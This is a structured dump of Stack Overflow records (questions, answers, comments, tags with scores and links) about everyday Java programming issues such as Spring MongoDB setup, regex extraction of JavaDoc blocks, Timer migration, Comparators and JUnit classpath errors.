&lt;propertyname="writeConcern"&gt; &lt;util:constant static-field="com.mongodb.WriteConcern.UNACKNOWLEDGED"/&gt; &lt;/property&gt; &lt;/bean&gt; &lt;/beans&gt; However we have requirement to connect to 2 different databases on the same mongodb replica-set. Hence I want to define 2 different mongo:db-factory beans. So I made the following change: (Only the changed beans are shown below) &lt;mongo:db-factor…
type: Question
tagged with: mongodb
has title: Spring-data-mongodb db-factory id does not work
has comment: http://stackoverflow.com/comment/33946043
score: 0
has comment: http://stackoverflow.com/comment/33918684
has comment: http://stackoverflow.com/comment/34316884
answer count: 1
tagged with: spring-data-mongodb
has comment: http://stackoverflow.com/comment/33946956
tagged with: spring
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/24322629
accepted answer: http://stackoverflow.com/a/24322629

http://stackoverflow.com/q/22255198
score: 2
has comment: http://stackoverflow.com/comment/33801438
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33801485
has answer: http://stackoverflow.com/a/24522225
has title: How to extract body of asterisk-indented JavaDoc block in source-code?
has comment: http://stackoverflow.com/comment/33801277
has comment: http://stackoverflow.com/comment/33801696
has comment: http://stackoverflow.com/comment/33801495
has answer: http://stackoverflow.com/a/22255800
tagged with: java
has body: I have a block of string that looks like this. /** * Comment section for Asset Record config OnStatusChange * * Updated for HT342408 Set Assetmeters to inactive when the asset they are * associated with is retired. This will also cause the condition monitoring * point associated with the meter to be displayed as inactive. */ if (ASSET.retired_date.isnull){ ASSET.retired_date = new Date(); } var meterset = ASSET.ASSETMETER; for (var x = 0; x &lt; meterset.length; x++){ //println('*********meterset['+ x + '].assetmeterid' + meterset[x].assetmeterid); meterset[x].active = false; //println('*********meterset['+ x + '].active' + meterset[x].active); } What I am trying to do is extract the javadoc style text comment at the top, Everything between the /** and the */ So far I have been unable to figure out how to pull this off in java. My latest attempt was to use a pattern but it doesn't appear to be matching. Can anyone provide some assistance on how to pull this off easily? Pattern p = Pattern.compile(".*/\\*\\*.*\\*/"); System.out.println("checking text for pattern: " + p); Matcher m = p.matcher(scriptContents); if (m.find()) { System.out.println("Found Match"); System.out.println(m.group(1)); }
answer count: 6
type: Question
has comment: http://stackoverflow.com/comment/33801463
downvote count: 0
has answer: http://stackoverflow.com/a/22255361
favorite count: 0
has answer: http://stackoverflow.com/a/22256572
has answer: http://stackoverflow.com/a/22255585
has comment: http://stackoverflow.com/comment/33802844
tagged with: regex
has answer: http://stackoverflow.com/a/22255527

http://stackoverflow.com/comment/33840722
has text: It will work if you calculate `numMonths` **before** you define your arrays.
comment on: http://stackoverflow.com/q/22276887
type: Comment
type: QuestionComment
score: 2

http://stackoverflow.com/comment/33778559
type: Comment
score: 0
has text: Yes, then pass it to your ConnectionHandler class. rename that connection handler to ReceiverThread to make it more meaningful.in that class run method, have while(true) loop. inside that while(true), call socket.receive(...
type: AnswerComment
comment on: http://stackoverflow.com/a/22241178

http://stackoverflow.com/comment/33905795
type: Comment
has text: No, he should put in activity_main.xml
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22312975

http://stackoverflow.com/comment/33891964
type: QuestionComment
has text: Another possibility: {1,21474836} is a really, really big range, and the time taken by the lookbehind that contains it might be proportional to the size of that range.
score: 0
comment on: http://stackoverflow.com/q/22305186
type: Comment

http://stackoverflow.com/q/22177863
has comment: http://stackoverflow.com/comment/33662458
has comment: http://stackoverflow.com/comment/33661948
tagged with: timer
tagged with: java-8
has answer: http://stackoverflow.com/a/22178940
has comment: http://stackoverflow.com/comment/33662004
has body: I have some older Java code that looks like this: timer = new Timer( 1000, (ActionListener) this ); In the newest Java (I'm using Java 8 build 129 and JavaFX), Timer needs a TimerTask and I'm not sure how to attach that to my ActionListener...
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33661813
tagged with: java
has comment: http://stackoverflow.com/comment/33663478
type: Question
accepted answer: http://stackoverflow.com/a/22178940
has title: How to update old Java Timer to new Java Timer with a TimerTask
score: 0
answer count: 1

http://stackoverflow.com/a/22340554
score: 1
has comment: http://stackoverflow.com/comment/33953440
upvote count: 1
has comment: http://stackoverflow.com/comment/33953489
has comment: http://stackoverflow.com/comment/33953647
type: Answer
has comment: http://stackoverflow.com/comment/33953698
has body: Suggestion: Hashtable of objects implementing an interface which includes a method such as execute(). Use the hashtable to go from command to object, call its execute, done. Yes, you'll need to initialize that table as your server starts up. Whether you do that from literal strings or have each actor announce its own keyword is up to you. The latter's probably more elegant but doesn't permit aliases.
answers question: http://stackoverflow.com/q/22314768
downvote count: 0
has comment: http://stackoverflow.com/comment/33953630

http://stackoverflow.com/a/22317619
has body: You can assume that making a variable as private is a basic guideline for coding. If you make them public it is accessible for outside world and any one can modify it. Suppose that number1 should always be +ve int in your case. So the setter method will have check and help you to avoid setting -ve values to it. See below: public void setNumber1(int number) { if(number &gt;= 0) { this.number1 = number } else { //you can throw exception here } }
type: Answer
has comment: http://stackoverflow.com/comment/33913719
score: 0
answers question: http://stackoverflow.com/q/22317506

http://stackoverflow.com/comment/33872014
score: 0
has text: I tried the concept of the pagination but it slow down the performance because it takes long time .
type: AnswerComment
comment on: http://stackoverflow.com/a/22294407
type: Comment

http://stackoverflow.com/comment/33742571
type: QuestionComment
has text: @kumar u have to give SMTP server ip address instead of loclhost there..
type: Comment
comment on: http://stackoverflow.com/q/22222720
score: 0

http://stackoverflow.com/comment/33789741
comment on: http://stackoverflow.com/q/22248630
has text: You have an executor service and you want to wait for all executed threads to finish. Just check the first answer.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33828044
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22270098
has text: Seems all fine. What is happening when you log a message a `INFO` level? Is the file not getting created at all? If it is created, is it not logging any logs there, or is it logging the logs that it shouldn't have? Please add some more details.

http://stackoverflow.com/q/22232372
answer count: 0
downvote count: 0
score: 1
has body: so the new way to work with multipartentity is with multipartentitybuilder. I looked on stackoverflow and it seems one of the accepted ways to use that is with this. https://stackoverflow.com/a/19188010 However, and this may be a dumb question, but in that example, how do I actually get the username and password from the request at server side? Thanks for the time!
favorite count: 0
type: Question
tagged with: android
linked to: http://stackoverflow.com/q/18964288
tagged with: java
upvote count: 1
type: UnansweredQuestion
has title: How to get the text from a addTextBody in a miltipartentitybuilder

http://stackoverflow.com/comment/33669032
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22180818
has text: This is not a duplicate question. The accepted answer to that question uses the CLI. I don't want to use the CLI.
score: 0

http://stackoverflow.com/comment/39147366
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22266082
score: 1
has text: I agree, those duplicates are not actually duplicates.

http://stackoverflow.com/a/22349294
type: Answer
has body: Check your variable names and types in POJO Myclass as GSON recommends strong name and type checking of class relative to JSON.
upvote count: 0
has comment: http://stackoverflow.com/comment/128673204
score: -1
answers question: http://stackoverflow.com/q/22301806
downvote count: 1

http://stackoverflow.com/comment/33708460
has text: Updated my answer for your question.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22203466
type: Comment

http://stackoverflow.com/a/22272266
upvote count: 6
answers question: http://stackoverflow.com/q/22272184
accepted answer of: http://stackoverflow.com/q/22272184
type: Answer
has body: First private Errors errors = new BeanPropertyBindingResult(loginValidator, "loginValidator"); should be private Errors errors = new BeanPropertyBindingResult(login, "login" /* or whatever name */); otherwise the target object for your Errors is the LoginValidator object instead of your Login object. Note the javadoc of Errors#rejectValue(..) field - the field name (may be null or empty String) So what you are specifying here errors.rejectValue("login", "error.username-required", null, "Value required."); the value login is actually used as the field name of the target object's class. But neither your Login class nor your LoginValidator class have such a field. You should use username or password where appropriate.
downvote count: 0
score: 6
type: AcceptedAnswer

http://stackoverflow.com/comment/33797789
has text: @ThreaT as I've said, it will depend on what you're trying to achieve. If is for simple curiosity, then I would recommend by not doing it, it's not worth it. If you have a requirement like do not allow pressing back button from browser for all requests, then use a Filter for the job. If you just happen to count how many times a user selected some option, update a database field, since the database already handles synchronization for you.
type: Comment
comment on: http://stackoverflow.com/a/22232428
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33762060
has text: Yes, good catch (I hadn't tried using the API outside of its package yet). But even when I put the `public` modifier on it, I still get the same test errors.
score: 0
comment on: http://stackoverflow.com/q/22232391
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33975611
has text: Both are integers. It has the same name in the database. Been figuring it out for days, but still no idea to why and how.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22315976
score: 0

http://stackoverflow.com/q/22223383
has comment: http://stackoverflow.com/comment/33743000
tagged with: java
tagged with: criteria-api
has body: We add the ORDER BY clause in criteria builder as bellow. criteriaQuery.orderBy(criteriaBuilder.asc(request.get("name")), criteriaBuilder.asc(type.get("val"))); When we see the query it looks like ORDER BY p.named.val But we expect ORDER BY p.name,d.val In actual result the comma(,) is missing in between p.name and d.val. Please suggest me whey that comma is not there? We use javax CriteriaBuilder.
type: Question
tagged with: jakarta-ee
has comment: http://stackoverflow.com/comment/33743303
tagged with: jpa
score: 0
has title: Issue when using ORDER BY clause in criteria builder
tagged with: jpa-2.0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33743119
answer count: 0

http://stackoverflow.com/comment/33880562
type: QuestionComment
type: Comment
has text: I know what a NPE is, but since I only added a boolean to the method I wonder why it occurs. I already checked all reference types and they are all initiated :(
comment on: http://stackoverflow.com/q/22286007
score: 0

http://stackoverflow.com/comment/33904515
type: Comment
type: QuestionComment
score: 1
has text: Hi, welcome to StackOverflow! You might actually have better luck asking this on the [SuperUser](http://superuser.com/) Stack Exchange site. SO is more for questions directly related to programming.
comment on: http://stackoverflow.com/q/22311968

http://stackoverflow.com/a/22230357
has body: I'd not recommend to add another field ("priority" or "weight") to the enum - simply because it is not necessary and does not make things easier to maintain. Instead, you can create a Comparator that simply treats "Sunday" as the first day: private static Comparator&lt;DAY&gt; createComparator() { return new Comparator&lt;DAY&gt;() { @Override public int compare(DAY d0, DAY d1) { if (d0 == DAY.SUN) { if (d1 == DAY.SUN) { return 0; } else { return -1; } } else if (d1 == DAY.SUN) { return 1; } return d0.ordinal() - d1.ordinal(); } }; } public static void sortDates(List&lt;DAY&gt; dayList) { Set&lt;DAY&gt; set = new TreeSet&lt;DAY&gt;(createComparator()); set.addAll(dayList); for (DAY day : set) { System.out.println(day); } }
type: Answer
answers question: http://stackoverflow.com/q/22229762
score: 0

security
tags question: http://stackoverflow.com/q/22294284
tags question: http://stackoverflow.com/q/22282712
tags question: http://stackoverflow.com/q/22180708
tags question: http://stackoverflow.com/q/22221214
tags question: http://stackoverflow.com/q/22168927
tags question: http://stackoverflow.com/q/22307241
tags question: http://stackoverflow.com/q/22247262
tags question: http://stackoverflow.com/q/22265927
tags question: http://stackoverflow.com/q/22230302
tags question: http://stackoverflow.com/q/22291998
tags question: http://stackoverflow.com/q/22327320
tags question: http://stackoverflow.com/q/22225398
tags question: http://stackoverflow.com/q/22313892
tags question: http://stackoverflow.com/q/22212505
tags question: http://stackoverflow.com/q/22196386
tags question: http://stackoverflow.com/q/22191386
tags question: http://stackoverflow.com/q/22192152
tags question: http://stackoverflow.com/q/22299087
type: Tag
tags question: http://stackoverflow.com/q/22236200
tags question: http://stackoverflow.com/q/22200057
tag name: security

http://stackoverflow.com/comment/33679644
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22187618
has text: Then the assignment is wrong, as you are violating single thread requirements of Swing

http://stackoverflow.com/q/22241079
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/33819114
type: Question
has body: I want to scrape data from web site. I can scrape data from normal html web site by using selenium-webdriver and phantomjs. But it is impossible get data from Java Applet. How can I get data from Java Applet application?
tagged with: applet
favorite count: 0
has comment: http://stackoverflow.com/comment/33775978
type: UnansweredQuestion
has title: How to scrape data from web site that is made with Java Applet
answer count: 0
has comment: http://stackoverflow.com/comment/33778670
score: 0
tagged with: java

http://stackoverflow.com/q/22266750
has body: I want to extract particular fields from a url of a facebookpage. Iam not able to extract since link format is not static.eg:if I gave the below examples as input it should give the o/p as what we desire 1)https://www.facebook.com/pages/Ice-cream/109301862430120?rf=102173023157556 o/p -109301862430120 What about this type of link can anyone help me
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/33822359
score: 1
favorite count: 0
has answer: http://stackoverflow.com/a/22266817
tagged with: regex
has title: extracting a particular field from url
has comment: http://stackoverflow.com/comment/33822385
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33824387
tagged with: java
upvote count: 1
type: Question
accepted answer: http://stackoverflow.com/a/22266817
linked to: http://stackoverflow.com/q/21857528

http://stackoverflow.com/a/22326454
answers question: http://stackoverflow.com/q/22326339
score: 3
downvote count: 0
type: Answer
has body: Try this Calendar cal = Calendar.getInstance(); Date todayDate = new Date(); cal.setTime(todayDate); // Set time fields to zero cal.set(Calendar.HOUR_OF_DAY, 0); cal.set(Calendar.MINUTE, 0); cal.set(Calendar.SECOND, 0); cal.set(Calendar.MILLISECOND, 0); todayDate = cal.getTime();
upvote count: 3

http://stackoverflow.com/q/22216206
has comment: http://stackoverflow.com/comment/33730835
has answer: http://stackoverflow.com/a/22216471
has comment: http://stackoverflow.com/comment/33730888
tagged with: java
tagged with: output
type: Question
has answer: http://stackoverflow.com/a/22216430
answer count: 2
score: 0
has body: Was wondering if anyone can further guide me as far as using width specifiers to making my output look like this using the static string format method ONLY. ID: 1122 Created: 03/05/14 Owner: Sam Williams Opening Balance: $14600.0 Annual Rate: 4.5 Withdraw: 5400.0 Current Balance: $14600.0 Currently, my output is this (using tabs and new lines) ID: 1122 Created: 03/05/14 Owner: Sam Williams Opening Balance: $14600.0 Annual Rate: 4.5 Withdraw: 5400.0 Current Balance: $ 14600.0 JAVA CODE CURRENTLY IS: System.out.println("ID:\t\t " + a.getId()); System.out.println("Created:\t" + String.format("%tD", a.getDateCreated())); System.out.println("Owner:\t\t" + "" + a.getOwner() + "\nOpening Balance: $" + a.getBalance() + "\nAnnual Rate:\t" + a.getAnnualRate() +"\nWithdraw:\t" + withDrawal +"\nCurrent Balance:\t" + " $ " + String.format("%.2f", a.getBalance()));
has comment: http://stackoverflow.com/comment/33731024
has title: Formatting output in java assistance
type: UnansweredQuestion

http://stackoverflow.com/comment/33745608
score: 0
type: QuestionComment
type: Comment
has text: DDK as you can see in the log output there is no extra single cote
comment on: http://stackoverflow.com/q/22224967

http://stackoverflow.com/comment/33757945
has text: @EyalSchneider That's not a problem either; the function here doesn't rely on any particular ordering.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22230224
type: Comment

http://stackoverflow.com/q/22180399
has title: what database architecture is a good choiche for this application?
tagged with: mysql
answer count: 1
tagged with: database
type: UnansweredQuestion
tagged with: servlets
tagged with: sqlite
type: Question
has answer: http://stackoverflow.com/a/22181211
has body: I have a servlet-based application that runs in a tomcat7 environment. This application needs to manage users' files in such a way these files can be accessed in many ways and through different classification methods (for instance time-oriented classification and search, keywords, tags, author and so on). So I have a multidimensional search space and I need to organize a database-based grouping system. Let focus on a single and specific aspect. Any user can upload his own files. So I'll have a path in which these files will be saved. Then I need also a place where to store the informations associated to the files. I though that it is good to separate files from associated informaions (title, ...) and then to create a third entity that is a small string that univocally identificate both info and file. This way once i know the file id I can get both the informations (that are stored in a specific file) and the file but I can save this id in any perverse classification table without copying anything heavy. So If I have the file id (fid) I can get the file and the informations. and when I have for example to associate an object to a file I can simply associate that object to the fid. Then any user must have its own table that collects the variuos fid of the files he uploaded . Therefore I have one table for each user. Then for any other classification dimension I will have N tables (where N is the size of the dimension). So for instance I want to classify files for keywords, I'll need N tables each for a specific keyboard. (it will be too unefficient to search each time I want files associated to key AGAA through all the users files) So if I need to show the 50 more recent files associated to the keyword "AGAAA" I need a table for AGAAA. and so on. This is crazy. as the number of users increases I get exponentialy more tables. I heard about table limit per database in mysql databases. Until now I'm using mysql (mariaDB) with connection pooling. I though to split tables …
score: 0
tagged with: java

http://stackoverflow.com/a/22177965
type: Answer
has comment: http://stackoverflow.com/comment/62041632
has body: I suppose you can use a DropWizard's Jersey Client. According to the documentation, it does exactly what you are looking for. http://www.dropwizard.io/1.0.3/docs/manual/client.html I.e.: public class ExampleConfiguration extends Configuration { @Valid @NotNull private JerseyClientConfiguration jerseyClient = new JerseyClientConfiguration(); @JsonProperty("jerseyClient") public JerseyClientConfiguration getJerseyClientConfiguration() { return jerseyClient; } } Then, in your service’s run method, create a new JerseyClientBuilder: @Override public void run(ExampleConfiguration config, Environment environment) { final Client client = new JerseyClientBuilder(environment).using(config.getJerseyClientConfiguration()) .build(getName()); environment.jersey().register(new ExternalServiceResource(client)); }
downvote count: 2
score: 3
upvote count: 5
answers question: http://stackoverflow.com/q/22177497
accepted answer of: http://stackoverflow.com/q/22177497
type: AcceptedAnswer

http://stackoverflow.com/comment/33741187
has text: And this is the short version of the most upvoted comment. It should be no more than a comment.
type: AnswerComment
comment on: http://stackoverflow.com/a/22201513
score: 0
type: Comment

http://stackoverflow.com/q/22308349
favorite count: 0
tagged with: exception
has answer: http://stackoverflow.com/a/22308383
accepted answer: http://stackoverflow.com/a/22308371
has answer: http://stackoverflow.com/a/22308394
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/22308383
score: 1
tagged with: java
upvote count: 1
type: Question
tagged with: try-catch
has body: I am trying to condense my code as much as possible, and am trying to output my variable "Grade" in the finally instead of each case statement BUT it isn't recognizing the variable. I feel like the solution for this is way too easy but i cant figure it out for the life of me. Thank you. Code: public class Grade {//1 public static void main(String[] args) {//2 ConsoleReader console = new ConsoleReader(System.in); boolean done = false; System.out.println("Enter your grade percentage:"); do{ try{ int percent = (int) console.readDouble(); Math.round(percent); percent = (int) percent / 10; String grade ="Input was not valid"; if(percent &lt;= 5){//3 grade = "Your grade is an F, Work Harder so you won't have to retake!"; System.out.println(grade); done = true; }else{//3//4 switch (percent){//5 case 6: grade = "Your grade is a D, work harder"; System.out.println(grade); done = true; break; case 7: grade = "Your grade is a C, That's average but you could do better."; System.out.println(grade); done = true; break; case 8: grade = "Your grade is a B, That is pretty good but strive for that A"; System.out.println(grade); done = true; break; case 9: grade = "Your grade is a A, Good Work!!"; System.out.println(grade); done = true; break; case 10: grade = "Your grade is a A, Good Work!!"; System.out.println(grade); done = true; break; default: grade = "Your input was invalid, Please enter your grade percentage."; System.out.println(grade); done = false; break; }//5 }//4 }catch(NumberFormatException e){ System.out.println("Please input only numbers, try again:"); }finally{ if(done == true){ //ERROR System.out.println(grade); //ERROR System.out.println("I hope you're happy with your grade!"); }else{ } } }while(done == false); }//2 }//1
downvote count: 0
has answer: http://stackoverflow.com/a/22308371
answer count: 3
has title: How to output a variable in a finally block?

http://stackoverflow.com/a/22325287
score: 2
has body: public class Demo { Map&lt;String,String&gt; map = null; public Demo() { map = new HashMap&lt;String,String&gt;(); } }
upvote count: 2
has comment: http://stackoverflow.com/comment/120627198
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/22325185

http://stackoverflow.com/q/22225508
has title: Why don't similiar keyChar and keyCode equal in KeyStroke?
upvote count: 4
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22225644
accepted answer: http://stackoverflow.com/a/22225644
tagged with: swing
type: Question
score: 3
tagged with: java
has body: I don't understand why this gives false and is not regarded as equal. KeyStroke test1 = KeyStroke.getKeyStroke('1'); KeyStroke test2 = KeyStroke.getKeyStroke(KeyEvent.VK_1, 0); System.out.println(test1.equals(test2)); In which situation shall this not be equal, i.e. is this a feature or a bug?
answer count: 1
downvote count: 1
favorite count: 0

http://stackoverflow.com/comment/33685251
type: Comment
type: QuestionComment
has text: Hi Jason. We serialize objects at a client and send them to a server. At the server, some method execution may end up modifying the state variables. Now, we need to synchronize the changed member variables with its counterpart at the client. (this is being done for Android, actually).
comment on: http://stackoverflow.com/q/22190937
score: 0

http://stackoverflow.com/comment/33758203
comment on: http://stackoverflow.com/q/22231686
score: 0
has text: Could you make use of [AudioInputStream](http://docs.oracle.com/javase/7/docs/api/javax/sound/sampled/AudioInputStream.html)?
type: QuestionComment
type: Comment

http://stackoverflow.com/a/22324056
has body: Firstly, are you aware that double comparison is dangerous? See How dangerous is it to compare floating point values? and What is the most effective way for float and double comparison? If angle argument is pretty random, I would use table lookup to avoid branch mispredictions: private static final byte L30 = 0, E30 = 1, L60 = 2, E60 = 3, G60 = 4; private static final byte[] ANGLE_TABLE = new byte { L30, L30, L30, L30, L30, L30, L30, L30, L30, L30, L30, L30, L30, L30, L30, L30, L30, L30, L30, L30, L30, L30, L30, L30, L30, L30, L30, L30, L30, L30, E30, L60, L60, L60, L60, L60, L60, L60, L60, L60, L60, L60, L60, L60, L60, L60, L60, L60, L60, L60, L60, L60, L60, L60, L60, L60, L60, L60, L60, L60, E60, G60, G60, ... depends on the angle upper limit }; public static int test(double angle) { // but not Math.round() or floor(), they are very slow int intAngle = (int) (angle + 0.5); return ANGLE_TABLE[intAngle]; }
downvote count: 0
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/22317247
has comment: http://stackoverflow.com/comment/33932589
has comment: http://stackoverflow.com/comment/33932655

http://stackoverflow.com/comment/34935851
score: 0
comment on: http://stackoverflow.com/q/22250118
type: Comment
type: QuestionComment
has text: I'm afraid you'd either have to use `ProcessBuilder` to run `xdg-user-dir` or parse `.config/user-dirs.dirs` yourself.

http://stackoverflow.com/a/22179752
type: Answer
downvote count: 0
score: 1
has body: public class Foo { public static int[] nums; public static void main(String[] args) { nums = new int[25]; for (int i = 0; i &lt; nums.length; i++) { nums[i] = i + 1; } printArray(nums); } public static void printArray(int[] myArray) { for (int i = 0; i &lt; myArray.length; i++) { System.out.print(String.valueOf(myArray[i]); if (i % 5 == 0) { System.out.println(); } else if (i % 5 != 4){ System.out.println(", "); } } }
upvote count: 1
answers question: http://stackoverflow.com/q/22179557

http://stackoverflow.com/q/22315741
has body: I was writing a sample code public class SampleTest { public void TestMethod1{ } } in this I am getting error for TestMethod1 - void is an invalid type for the variable TestMethod1 - Syntax error, insert ";" to complete ClassBodyDeclarations It is taking TestMethod1 as a variable, even though I want to declare this as a method.
tagged with: java
has answer: http://stackoverflow.com/a/22315760
has comment: http://stackoverflow.com/comment/33911222
tagged with: methods
has answer: http://stackoverflow.com/a/22315836
type: Question
has answer: http://stackoverflow.com/a/22315767
upvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/22315766
score: -2
answer count: 4
type: UnansweredQuestion
downvote count: 2
has comment: http://stackoverflow.com/comment/33910601
has title: Java Error on MethodName

http://stackoverflow.com/comment/33692374
has text: what kind of error ? post the error you have got!
comment on: http://stackoverflow.com/q/22195329
score: 0
type: QuestionComment
type: Comment

stripes
tags question: http://stackoverflow.com/q/22265477
type: Tag
tag name: stripes

http://stackoverflow.com/comment/33839941
score: 1
has text: I am not sure how you call these methods but, it seems that you forgot to initialize array in your second constructor.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22276438

http://stackoverflow.com/comment/33905154
comment on: http://stackoverflow.com/q/22312492
has text: Make x positive and then perform binary search with x<(1<<k) for k between 0 and 30. If x>=(1<<30) then you need 31bit plus the sign bit.
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/q/22239836
linked to: http://stackoverflow.com/q/19760138
has title: How to convert json to java object if the json may have differenct structure
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22240133
type: Question
tagged with: java
tagged with: http://stackoverflow.com/tag/json
has body: I want to use java to make read return value from a url. The response json may be { token:"blablablabla", expired: 7200 } or of the form: { errcode: 201 errmsg: "out of limited" } I currently used jackson to convert json to java object. Yet in my condition, the response json may be different. All the example and tutorial I had found deal with a json string of only one form. I would like to know what is the best practice when dealing with this situation.Currently I just catch (JsonMappingException e) and try again to convert to a different class.
accepted answer: http://stackoverflow.com/a/22240133
score: 0
possible better answer: http://stackoverflow.com/a/22239952
answer count: 2
has answer: http://stackoverflow.com/a/22239952
tagged with: jackson

http://stackoverflow.com/comment/33777016
score: 0
comment on: http://stackoverflow.com/a/22223963
type: Comment
has text: Ya about that... I'm using Blackberry Java plugin and replace method only takes characters in that not string and that didn't work...
type: AnswerComment

http://stackoverflow.com/a/22193491
has comment: http://stackoverflow.com/comment/33689512
answers question: http://stackoverflow.com/q/22193259
has body: TimerTask runs on a different thread than the UI Thread and, as per documentation, a RuntimeException is thrown if the calling thread has no Looper. Try changing your code this way: private TimerTask syncTaskGps = new TimerTask() { public void run() { Looper.prepare(); Log.w("GPS Tracker", "Tracker going to run"+new Date()); LocationManager mlocManager =(LocationManager)getSystemService(Context.LOCATION_SERVICE); LocationListener mlocListener = new MyLocationListener(); mlocManager.requestLocationUpdates( LocationManager.GPS_PROVIDER, 0, 0, mlocListener, Looper.getMainLooper()); Looper.loop(); } };
type: Answer
has comment: http://stackoverflow.com/comment/33689679
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/33689445
has comment: http://stackoverflow.com/comment/33689907
upvote count: 2
has comment: http://stackoverflow.com/comment/33690051
has comment: http://stackoverflow.com/comment/33689735

http://stackoverflow.com/a/22194836
accepted answer of: http://stackoverflow.com/q/22194308
answers question: http://stackoverflow.com/q/22194308
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33693325
score: 0
has body: you could call build() to have the URI and then to log it.
type: Answer

http://stackoverflow.com/a/22239559
has body: The inner loop iteraters from 2 to i-1. Assume i is 100 and j is 2. The inner loop in this code will iterate from 2 to 99. But you just need to iterate till the sqrt of i that is 10. This is because when you get one factor of i, say 5, 100/5 is another factor ie 20. Hence by iterating till 10 in the inner loop you should get all the factors.
type: Answer
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/33774197
upvote count: 2
answers question: http://stackoverflow.com/q/22239525

http://stackoverflow.com/comment/33940530
has text: First I worried about CPU usage. But later I surprised about why these queries are there. Though I'm worrying about CPU usage these unused string's eat my memory right ??
score: 0
comment on: http://stackoverflow.com/q/22254273
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33850842
type: Comment
score: 1
comment on: http://stackoverflow.com/q/22278964
has text: Common sense dictates you should stop speech recognition while tts is busy. Perhaps you could shed some light on the code you're using to start speech recognition? Otherwise, I'm afraid no one will be able to answer this question...
type: QuestionComment

http://stackoverflow.com/a/22226744
accepted answer of: http://stackoverflow.com/q/22226651
has body: The stack trace contains the hint for the solution: It contains junit.framework.TestCase (so this class is on the classpath) but later, it can't find org.junit.Assert. This looks as if you have JUnit 3.8 on the classpath when running the test but JUnit 4 when you compile them. Find out how the unit test runner builds the classpath and fix it there.
downvote count: 0
has comment: http://stackoverflow.com/comment/33789010
has comment: http://stackoverflow.com/comment/33752211
has comment: http://stackoverflow.com/comment/36825411
answers question: http://stackoverflow.com/q/22226651
has comment: http://stackoverflow.com/comment/33886312
has comment: http://stackoverflow.com/comment/33889051
has comment: http://stackoverflow.com/comment/33845260
has comment: http://stackoverflow.com/comment/33928463
has comment: http://stackoverflow.com/comment/33894280
has comment: http://stackoverflow.com/comment/33749177
has comment: http://stackoverflow.com/comment/33749790
has comment: http://stackoverflow.com/comment/33929339
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33917964
has comment: http://stackoverflow.com/comment/33892830
score: 4
has comment: http://stackoverflow.com/comment/33893371
has comment: http://stackoverflow.com/comment/33777111
has comment: http://stackoverflow.com/comment/33878209
type: Answer
upvote count: 4
has comment: http://stackoverflow.com/comment/33751865
has comment: http://stackoverflow.com/comment/33830353
has comment: http://stackoverflow.com/comment/33751425
has comment: http://stackoverflow.com/comment/33928555
has comment: http://stackoverflow.com/comment/33748881
has comment: http://stackoverflow.com/comment/36781457

http://stackoverflow.com/comment/33740984
type: QuestionComment
type: Comment
has text: IN general these exceptions indicate that you are mixing different versions of Spring. Can you post your dependencies.
comment on: http://stackoverflow.com/q/22222013
score: 0

http://stackoverflow.com/q/22241704
type: Question
tagged with: java
has comment: http://stackoverflow.com/comment/33776999
answer count: 1
has answer: http://stackoverflow.com/a/22241740
has title: Constructor issue, no suitable constructor found
tagged with: netbeans
score: 0
type: UnansweredQuestion
has body: Having some trouble solving this issue. I have been using an example I completed before to assist and it's almost identical and works. The constructors in the addStudents method aren't suitable and i'm unsure exactly what I've done wrong. Have included as much of both the HibernateStudent file and the Student java file as possible. Any help would be appreciated, Thanks. public HibernateStudent3() { Configuration configuration = h2Config(new Class[]{Student.class, Programme.class, Module.class}); sessionFactory = configuration.buildSessionFactory(); } @SuppressWarnings({"unchecked"}) public void addStudents() { System.out.println("Add Students"); Session session = sessionFactory.openSession(); session.beginTransaction(); System.out.println("\n***Session started..."); System.out.println("\n***Creating student objects..."); Student s1 = new Student("1", "Bob", "Dylan", "bobdylan@gcu.ac.uk", "ISD"); Student s2 = new Student("2", "Joni", "Mitchell", "jonimitchell@gcu.ac.uk", "ISD"); Student s3 = new Student("3", "Paul", "Simon", "paulsimon@gcu.ac.uk", "ISD"); System.out.println("\n***Student objects created..."); System.out.println("\n***Saving student objects..."); session.save(s1); session.save(s2); session.save(s3); System.out.println("\n***Student objects saved..."); session.getTransaction().commit(); session.flush(); session.close(); System.out.println("\n***Session closed..."); } public void listStudents() { System.out.println("List Students"); Session session = sessionFactory.openSession(); session.beginTransaction(); System.out.println("\n***Session started..."); List studentList = session.createQuery("from Student").list(); System.out.println(studentList.size() + " student(s) found:"); for (Iterator iter = studentList.iterator(); iter.hasNext();) { Student s = (Student) iter.next(); System.out.println(s); } session.getTransaction().commit(); session.flush(); session.close(); System.out.println("\n***Session closed..."); } public void addProgrammes() { System.out…

http://stackoverflow.com/comment/33916538
score: 0
has text: I have no idea where it was a mistake. I used Shared Preferences and for now works properly.
type: AnswerComment
comment on: http://stackoverflow.com/a/22315706
type: Comment

opengl-es-2.0
